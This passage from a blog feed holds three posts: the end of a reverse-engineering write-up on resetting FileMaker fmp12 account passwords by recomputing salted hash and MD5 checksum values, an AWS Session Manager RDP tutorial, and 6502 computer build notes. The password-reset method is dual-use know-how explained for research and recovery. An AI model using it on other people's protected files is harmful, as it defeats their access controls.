&lt;p&gt;But what do we do with this value? It turns out that it is used to truncate our XOR &amp;ldquo;checksum&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;So in our case with the second byte of the password hash being &lt;code&gt;0xbc&lt;/code&gt;, we would have a &lt;code&gt;0x1c&lt;/code&gt;, or 28 byte long checksum at the end:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; 28 bytes
| | +--&amp;gt; 20 bytes
| +--&amp;gt; 10 bytes
+--&amp;gt; 1 byte
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the big question is: Knowing all the components in this 59-byte sequence at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?&lt;/p&gt;
&lt;p&gt;It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.&lt;/p&gt;
&lt;p&gt;If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won&amp;rsquo;t work).&lt;/p&gt;
&lt;p&gt;Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a &lt;code&gt;0xbc&lt;/code&gt; in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s insert the new value, and try to open the file again:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
&lt;p&gt;Oooops! :-) Still not working.&lt;/p&gt;
&lt;h2 id="figuring-out-the-account-checksum"&gt;Figuring out the account checksum&lt;/h2&gt;
&lt;p&gt;Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s go back to the beginning and have another look at the account section that we parsed out earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8 &amp;lt;=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We saw this fixed-size 16-byte long &amp;ldquo;hash-like&amp;rdquo; looking sequence of bytes with key &lt;code&gt;0x04&lt;/code&gt;. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).&lt;/p&gt;
&lt;p&gt;Hunting for more functions, we eventually see that &lt;code&gt;Draco::DBUserAccount::ComputeCRC&lt;/code&gt; is called for every account in the file (you could have also seen that &lt;code&gt;ComputeCRC&lt;/code&gt; is on the callstack for some of the other password related functions; &lt;code&gt;info stack&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.&lt;/p&gt;
&lt;p&gt;Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, &lt;code&gt;Draco::CRCContext::Update&lt;/code&gt;, which in turn calls OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;Debugging functions for which we have documentation and code is always easier. So why don&amp;rsquo;t we break at every call to &lt;code&gt;MD5_Update&lt;/code&gt; until we have a &lt;code&gt;MD5_Final&lt;/code&gt; call which finalizes the checksum?&lt;/p&gt;
&lt;p&gt;The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function we even know the signature, which makes things easier: &lt;code&gt;int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So what&amp;rsquo;s in the registers when the function is called?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;rdi&lt;/code&gt; has the MD5 context, which we can ignore for now. &lt;code&gt;rsi&lt;/code&gt; contains a pointer to the data to be included in the hash, and &lt;code&gt;rdx&lt;/code&gt; contains its length.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While we don&amp;rsquo;t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.&lt;/p&gt;
&lt;p&gt;Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at &lt;code&gt;23.1.5.2.4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).&lt;/p&gt;
&lt;p&gt;To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.&lt;/p&gt;
&lt;h2 id="do-we-have-it-now"&gt;Do we have it now?&lt;/h2&gt;
&lt;p&gt;Since we can now freely re-compute the values at &lt;code&gt;23.1.5.2.4&lt;/code&gt; and &lt;code&gt;23.1.5.2.6&lt;/code&gt;, is it enough to replace the two byte-sequences in a file to open it with a new password?&lt;/p&gt;
&lt;p&gt;&lt;img alt="FileMaker login" loading="lazy" src="https://davidhamann.de/images/fm-login.png"&gt;&lt;/p&gt;
&lt;p&gt;We enter our new password, and voilà: we&amp;rsquo;re in :-)&lt;/p&gt;
&lt;h2 id="additional-info-and-caveats"&gt;Additional info and caveats&lt;/h2&gt;
&lt;p&gt;A few important things to note and to answer some questions that came up during my talk:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileMaker&amp;rsquo;s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)&lt;/li&gt;
&lt;li&gt;There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don&amp;rsquo;t appear in exactly the block containing the account information.&lt;/li&gt;
&lt;li&gt;Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn&amp;rsquo;t work, you can always get them via the debugger.&lt;/li&gt;
&lt;li&gt;If all &lt;code&gt;[Full Access]&lt;/code&gt; accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it&amp;rsquo;s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).&lt;/li&gt;
&lt;li&gt;Note that you &lt;strong&gt;don&amp;rsquo;t&lt;/strong&gt; need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.&lt;/li&gt;
&lt;li&gt;Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn&amp;rsquo;t flag the changed block as &amp;ldquo;bad&amp;rdquo;. However, there&amp;rsquo;s obviously no guarantee as there&amp;rsquo;s no official documentation. Changing a password the &amp;ldquo;normal&amp;rdquo; way does a bit more to the file, but I don&amp;rsquo;t think the other changes are particularly relevant (more like modification counts, etc.).&lt;/li&gt;
&lt;li&gt;What do the commercial password reset tools do? I don&amp;rsquo;t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the &amp;ldquo;Passware&amp;rdquo; recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.&lt;/li&gt;
&lt;li&gt;Is this a vulnerability in FileMaker? No, I don&amp;rsquo;t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Connecting to a private Windows EC2 instance without exposing RDP to the internet</title><link>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</link><pubDate>Mon, 12 Feb 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/</guid><description>&lt;h2 id="the-problem-statement"&gt;The problem statement&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:&lt;/p&gt;
&lt;p&gt;You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.&lt;/p&gt;
&lt;p&gt;Alternatively, you could set up a VPN server through which to connect to your instance.&lt;/p&gt;
&lt;p&gt;Another option for RDP could be an RDP gateway (to not expose RDP directly).&lt;/p&gt;
&lt;p&gt;Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.&lt;/p&gt;
&lt;p&gt;Any other idea?&lt;/p&gt;
&lt;h2 id="aws-systems-manager-session-manager"&gt;AWS Systems Manager Session Manager&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.&lt;/p&gt;
&lt;p&gt;With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.&lt;/p&gt;
&lt;p&gt;If the last paragraph sounded like an advertisement, it wasn&amp;rsquo;t supposed to :-) I&amp;rsquo;m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.&lt;/p&gt;
&lt;p&gt;Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let&amp;rsquo;s see how we can practically set up this scenario for RDP.&lt;/p&gt;
&lt;h2 id="what-this-tutorial-is-about"&gt;What this tutorial is about&lt;/h2&gt;
&lt;p&gt;In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.&lt;/p&gt;
&lt;p&gt;For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.&lt;/p&gt;
&lt;p&gt;And finally, we will create a port-forwarding session and access our private instance through a local RDP client.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 It&amp;rsquo;s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.
&lt;/div&gt;

&lt;p&gt;If you just want to see how to connect, &lt;a href="https://davidhamann.de/2024/02/12/connecting-to-private-ec2-instance-without-exposing-rdp-to-internet/#installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;jump to the end of the article&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="creating-vpc-subnets-gateways-routes"&gt;Creating VPC, subnets, gateways, routes&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we create an internet gateway and attach it to our VPC:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I&amp;rsquo;ll just split the /24 network into two parts, but you might want something else.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To give the private subnet access to the internet, we&amp;rsquo;ll add a NAT gateway and assign it an IP address:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally, we create the route table and routes.&lt;/p&gt;
&lt;p&gt;First, for the public subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --gateway-id igw-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then for the private subnet:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block &amp;#34;0.0.0.0/0&amp;#34; --nat-gateway-id nat-1234
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.
&lt;/div&gt;

&lt;h2 id="setting-up-instance-profile-and-creating-windows-server-in-private-subnet"&gt;Setting up instance profile and creating Windows server in private subnet&lt;/h2&gt;
&lt;p&gt;We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# EC2AssumeRoleSTS.json
{
 &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
 &amp;#34;Statement&amp;#34;: {
 &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
 &amp;#34;Principal&amp;#34;: {
 &amp;#34;Service&amp;#34;: &amp;#34;ec2.amazonaws.com&amp;#34;
 },
 &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy &lt;code&gt;AmazonSSMManagedInstanceCore&lt;/code&gt; (&lt;code&gt;arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore&lt;/code&gt;) to our role, which enables the AWS Systems Manager core functionality.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I&amp;rsquo;m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don&amp;rsquo;t have to as you can later access the instance from the browser via the AWS console (Instance -&amp;gt; Connect -&amp;gt; Session Manager) and create your user/change password from there (you&amp;rsquo;ll be dropped into a PowerShell session as a privileged &lt;code&gt;ssm-user&lt;/code&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::&amp;lt;your-account-id&amp;gt;:instance-profile/SSMEC2 # from now on: i-1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Please note that you have to install the &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-install-ssm-win.html"&gt;System Manager Agent&lt;/a&gt; on the instance yourself, if you&amp;rsquo;re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.&lt;/p&gt;
&lt;h2 id="installing-session-manager-plugin-starting-port-forwarding-session-and-connecting-via-rdp"&gt;Installing Session Manager plugin, starting port-forwarding session and connecting via RDP&lt;/h2&gt;
&lt;p&gt;If you can live with working in a browser, there&amp;rsquo;s not much else to do. Just hit the &amp;ldquo;Connect&amp;rdquo; button in the AWS console&amp;rsquo;s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged &lt;code&gt;ssm-user&lt;/code&gt;, or an RDP session via &amp;ldquo;Fleet Manager&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.&lt;/p&gt;
&lt;p&gt;To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the &lt;code&gt;awscli&lt;/code&gt;). If you use &lt;code&gt;brew&lt;/code&gt; (on macOS), you can &lt;code&gt;brew install --cask session-manager-plugin&lt;/code&gt;. For a manual install or a different OS &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html"&gt;see the install guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we&amp;rsquo;re finally ready to connect. Let&amp;rsquo;s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).&lt;/p&gt;
&lt;p&gt;We can then use the &lt;code&gt;ssm&lt;/code&gt; command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters &amp;#39;{&amp;#34;portNumber&amp;#34;:[&amp;#34;3389&amp;#34;], &amp;#34;localPortNumber&amp;#34;: [&amp;#34;33089&amp;#34;]}&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our local RDP client, we can now connect to &lt;code&gt;localhost:33089&lt;/code&gt;, authenticate with the Windows credentials and get a regular RDP experience.&lt;/p&gt;
&lt;p&gt;If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (&lt;code&gt;document-name AWS-StartSSHSession&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>Building a 6502 Computer</title><link>https://davidhamann.de/2024/01/10/building-6502-computer/</link><pubDate>Wed, 10 Jan 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/01/10/building-6502-computer/</guid><description>&lt;p&gt;I&amp;rsquo;m currently in the process of building a computer based on the 6502 microprocesser, following &lt;a href="https://eater.net/6502"&gt;Ben Eater&amp;rsquo;s instructions&lt;/a&gt;. It&amp;rsquo;s a nice way of learning the lower level parts of a computer by wiring up and eventually coding everything yourself.&lt;/p&gt;
&lt;p&gt;In this post I want to share my (more or less structured) notes of the steps taken and lessons learned so far (covering part 1 to part 7). While my notes were mainly created to explain things to myself, I hope you can get some value out of it as well.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re interested in building the computer yourself, follow along Ben&amp;rsquo;s videos and consider buying the parts directly from him to support the content.&lt;/p&gt;
&lt;h2 id="part-1"&gt;Part 1&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=LnzuMJLZRdU"&gt;“Hello, world” from scratch on a 6502&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The 6502 is an 8-bit microprocessor introduced in the 70s and was used in popular home computers (like the Apple II or C64) in the 80s&lt;/li&gt;
&lt;li&gt;A more modern version, the W65C02, is available since the 80s. The W65C02&amp;rsquo;s static design allows us to stop the clock while preserving the contents of the registers (which is not the case with the older design).&lt;/li&gt;
&lt;li&gt;Getting an overview of available input and output pins; we have 16 bit addresses and an 8 bit data bus&lt;/li&gt;
&lt;li&gt;Connect the clock (phase input) – I highly recommend building the system clock yourself as well (&lt;a href="https://www.youtube.com/watch?v=kRlSFm519Bo"&gt;Astable 555 timer - 8-bit computer clock&lt;/a&gt;) such that you are able to single-step through instructions manually (which helps with understanding and is great for debugging). You can later swap it with a crystal oscillator.&lt;/li&gt;
&lt;li&gt;Add a reset button to be able to reset the processor (using the RESB pin which must be held low for at least two clock cycles to reset/re-initialze)&lt;/li&gt;
&lt;li&gt;Use an Arduino Mega to capture the states of the address pins and the data bus to get an understanding of what the microprocessor is doing&lt;/li&gt;
&lt;li&gt;The connected pins are set to INPUT (&lt;code&gt;pinMode&lt;/code&gt;) on the Arduino and then read in the loop (&lt;code&gt;digitalRead&lt;/code&gt;). The bit values are printed to the serial monitor (in the Arduino IDE).&lt;/li&gt;
&lt;li&gt;As we want to see the state after each clock pulse, we connect the clock to the Arduino as well. We then attach an interupt for the clock signal, &lt;code&gt;attachInterrupt(digitalPinToInterrupt(CLOCK), onClock, RISING);&lt;/code&gt;, where &lt;code&gt;CLOCK&lt;/code&gt; is pin 2 on the Arduino and &lt;code&gt;onClock&lt;/code&gt; is the function containing the &lt;code&gt;digitalRead&lt;/code&gt;s. This allows us to read the state of the address and data lines (and whether the data bus is currently &lt;code&gt;read&lt;/code&gt; or &lt;code&gt;write&lt;/code&gt;, i.e. if the processor is currently reading from or writing to the data bus) whenever we get a pulse from the clock (instead of continously in the main loop).&lt;/li&gt;
&lt;li&gt;The Arduino program will actually be pretty helpful later on during debugging. One tip I can give you is to leave some space on the address and data bus lines on the breadboard. It can get pretty tight there and you don&amp;rsquo;t want your debugging tools to be hard to use every time you have a problem.&lt;/li&gt;
&lt;li&gt;With the Arduino monitoring the address and data lines, continue to hard-wire a value (i.e. just connect some resistors to ground or 5 volt for a 0 or 1, respectively) on the data bus. The value we hard-wire is 11101010, or 0xEA, which is the NOP instruction for the 6502 processor.&lt;/li&gt;
&lt;li&gt;Having a sensible input on the data bus (even if it doesn&amp;rsquo;t do anything) lets us see much more clearly what the processor is doing: going through its 7-step intialization process as described in the data sheet when pressing the reset button, and then loading the start address of the program from address &lt;code&gt;0xfffc&lt;/code&gt; (low byte) and &lt;code&gt;0xfffd&lt;/code&gt; (high byte). In our harcoded case the address comes out as &lt;code&gt;0xeaea&lt;/code&gt;. And when the processor sets its address pins to the start address of &lt;code&gt;0xeaea&lt;/code&gt; and reads again from the data bus, it gets &lt;code&gt;0xea&lt;/code&gt; again (as that&amp;rsquo;s still the hard-wired value on the data bus) but this time treating it as an opcode for no instruction (NOP = &lt;code&gt;0xea&lt;/code&gt;, see datasheet). The processor then continues incrementing the address (to &lt;code&gt;0xeaeb&lt;/code&gt;, &lt;code&gt;0xeaeb&lt;/code&gt;, &lt;code&gt;...&lt;/code&gt;) every second pulse (as NOP takes two clock cycles) and reading another NOP. This goes on forever.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-2"&gt;Part 2&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=yl8vPW5hydQ"&gt;How do CPUs read machine code?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install a 28C256 EEPROM (electrically erasable programmable read-only memory) which can store 32 kilobytes (or 256k bits) of data&lt;/li&gt;
&lt;li&gt;Most of the pins are for addressing and I/O. We can set the address pins to a particular location to read the data (via the I/O pins) at that location on the ROM chip (which is what the processor will do). All address lines and data bus lines of the microprocessor would be connected to the address and I/O lines of the EEPROM.&lt;/li&gt;
&lt;li&gt;Problem: the 6502 has 16 address pins (A0 to A15), the EEPROM only 15 (A0 - 14). So while the processor can access 65,536 (16^2) locations, the EEPROM only has 15 address pins as it can only store 32,768 bytes (2^15) of data. If the processor would sets its address pins to a value greater &lt;code&gt;0x7fff&lt;/code&gt; (32,767) it would start reading the contents from the beginning of the ROM again (as A15 of the microprocessor would be set high but only the pins of A0 to A14 would be connected to the ROM, &lt;code&gt;1000 0000 0000 0000&lt;/code&gt; to &lt;code&gt;000 0000 0000 0000&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Possible solution: connect A15 to &amp;ldquo;Chip Enable&amp;rdquo; (CE, active low) pin of EEPROM so it would only output data when CE is low. Once the microprocessor would try to access higher addresses, the ROM wouldn&amp;rsquo;t output anything, meaning we could use the upper address space for something else.&lt;/li&gt;
&lt;li&gt;Still a problem: as descibed in part 1, the processor wants to read the program start address from &lt;code&gt;0xfffc&lt;/code&gt; and &lt;code&gt;0xfffd&lt;/code&gt; (which is greater than &lt;code&gt;0x7fff&lt;/code&gt;) after its initialization.&lt;/li&gt;
&lt;li&gt;Solution: invert signal from A15 to set CE to low when the top bit is set, and high when it is not. This way we have mapped the lower addresses to the higher addresses and can use the lower addresses of the microprocessor for something else.&lt;/li&gt;
&lt;li&gt;Wiring: connect the address (A0 to A14) and data bus pins from the 6502 to the address and I/O pins of the EEPROM. Set further control pins as instructed. Connect A15 of 6502 to inverter (NAND gate) and output of the inverter to CE.&lt;/li&gt;
&lt;li&gt;Create a file with 32k NOPs (&lt;code&gt;0xea&lt;/code&gt;) and write it onto the ROM (to reproduce the behavior of the hard-wired NOPs from earlier). Remember for later that data at location &lt;code&gt;0x0000&lt;/code&gt; in the file will get accessed when the microprocessor asks for data at &lt;code&gt;0x8000&lt;/code&gt;, since we hardwired this offset via the A15 -&amp;gt; inverter -&amp;gt; CE above. So we&amp;rsquo;ll always have this 32,768 byte offset for the ROM locations.&lt;/li&gt;
&lt;li&gt;Now change the file of NOPs at location &lt;code&gt;0x7ffc&lt;/code&gt; and &lt;code&gt;0x7ffd&lt;/code&gt; (instead of &lt;code&gt;0xfffc&lt;/code&gt; and &lt;code&gt;0xfffd&lt;/code&gt;, remember the offset!) to set the start address to the beginning of the ROM, which is accessed as &lt;code&gt;0x8000&lt;/code&gt; by the microprocessor (but is actually &lt;code&gt;0x0000&lt;/code&gt; in the ROM). Confirm with the Arduino that reading the data from &lt;code&gt;0xfffc&lt;/code&gt; and &lt;code&gt;0xfffd&lt;/code&gt; after the initialization steps in fact returns &lt;code&gt;0x8000&lt;/code&gt; (or rather &lt;code&gt;0x00&lt;/code&gt; &lt;code&gt;0x80&lt;/code&gt;, as it&amp;rsquo;s stored in little endian).&lt;/li&gt;
&lt;li&gt;Create a more interesting program and store it at the beginning of the ROM (&lt;code&gt;0x0000&lt;/code&gt;, or &lt;code&gt;0x8000&lt;/code&gt; to the microprocessor): &lt;code&gt;A9 42 8D 00 60&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xa9&lt;/code&gt; is the opcode for load A (&lt;code&gt;lda&lt;/code&gt;) with an immediate value (the 8-bit A register is the main register on the 6502)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x42&lt;/code&gt; is the (arbitrary) value we want to load into the A register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x8d&lt;/code&gt; is the opcode for storing the contents of the A register to an address (&lt;code&gt;sta&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x6000&lt;/code&gt; would be the target address where the contents should be stored&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Running the program we see (monitoring with the Arduino) that the instructions are executed as expected and that the processor eventually wants to write the value &lt;code&gt;0x42&lt;/code&gt; to address &lt;code&gt;0x6000&lt;/code&gt; (address pins = &lt;code&gt;0x6000&lt;/code&gt;, data bus = &lt;code&gt;0x42&lt;/code&gt;). But, of course, we don&amp;rsquo;t have any memory (or other hardware) connected yet :-)&lt;/li&gt;
&lt;li&gt;We need to find a way to have external hardware respond to certain addresses such that, for example, the &lt;code&gt;0x42&lt;/code&gt; on the data bus from above could be stored somewhere. We&amp;rsquo;re going to use the W65C22 VIA (Versatile Interface Adapter).&lt;/li&gt;
